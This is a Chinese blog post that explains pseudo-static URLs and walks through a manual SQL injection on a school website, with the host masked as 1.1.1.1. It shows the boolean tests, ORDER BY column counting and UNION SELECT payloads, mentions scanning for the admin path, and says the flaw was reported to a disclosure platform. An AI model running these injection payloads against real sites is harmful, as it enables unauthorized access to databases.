伪静态是什么
伪静态是相对真实静态来讲的,通常我们为了增强搜索引擎的友好面,都将文章内容生成静态页面,但是有的朋友为了实时的显示一些信息。或者还想运用动态脚本解决一些问题。不能用静态的方式来展示网站内容。但是这就损失了对搜索引擎的友好面。怎么样在两者之间找个中间方法呢,这就产生了伪静态技术。伪静态技术是指展示出来的是以html一类的静态页面形式,但其实是用ASP一类的动态脚本来处理的。
伪静态验证
既然,我们了解什么是伪静态后,那么我们怎么判断一个网站是静态还是伪静态的呢?
首先我们可以根据网站最后的修改时间来判断一个网站是否为伪静态,那么我们演示一下:
javascript:alert(document.lastModified)
网站的首页
f12一下,然后输入上方的命令
回车弹框时间,然后等几秒再来一次,查看时间是否和上次的相同,如果相同就证明是静态的,如果时间和上次不同,则是伪静态的网站。
注入流程
其实伪静态的站和平常的注入是一样的,接下来就走一下流程!由于不能发出来,所以这里用1.1.1.1代替
网址:https://1.1.1.1/id/1
https://1.1.1.1/id/1) and 1=1 -- a正确
https://1.1.1.1/id/1) and 1=2 -- a错误
继续判断字段数,发现为6
https://1.1.1.1/id/1) order by 7 -- a 错误
https://1.1.1.1/id/1) order by 6 -- a 正确
然后查看输出点在那个显位
https://1.1.1.1/id/-1) union select 1,2,3,4,5,6 -- a
可以看到显位是3、4、5然后我们在3的显位输入database()
然后用御剑跑了一下后台,很幸运的跑到了,但是这里主要是伪静态所以不测试了,直接放弃
总结
因为是个学校的站,所以本来打算交到edu的,但是提个高危漏洞+1个金币可以白嫖月饼,所以果断提交到盒子。
交流学习QQ:3075999532
微信公众号: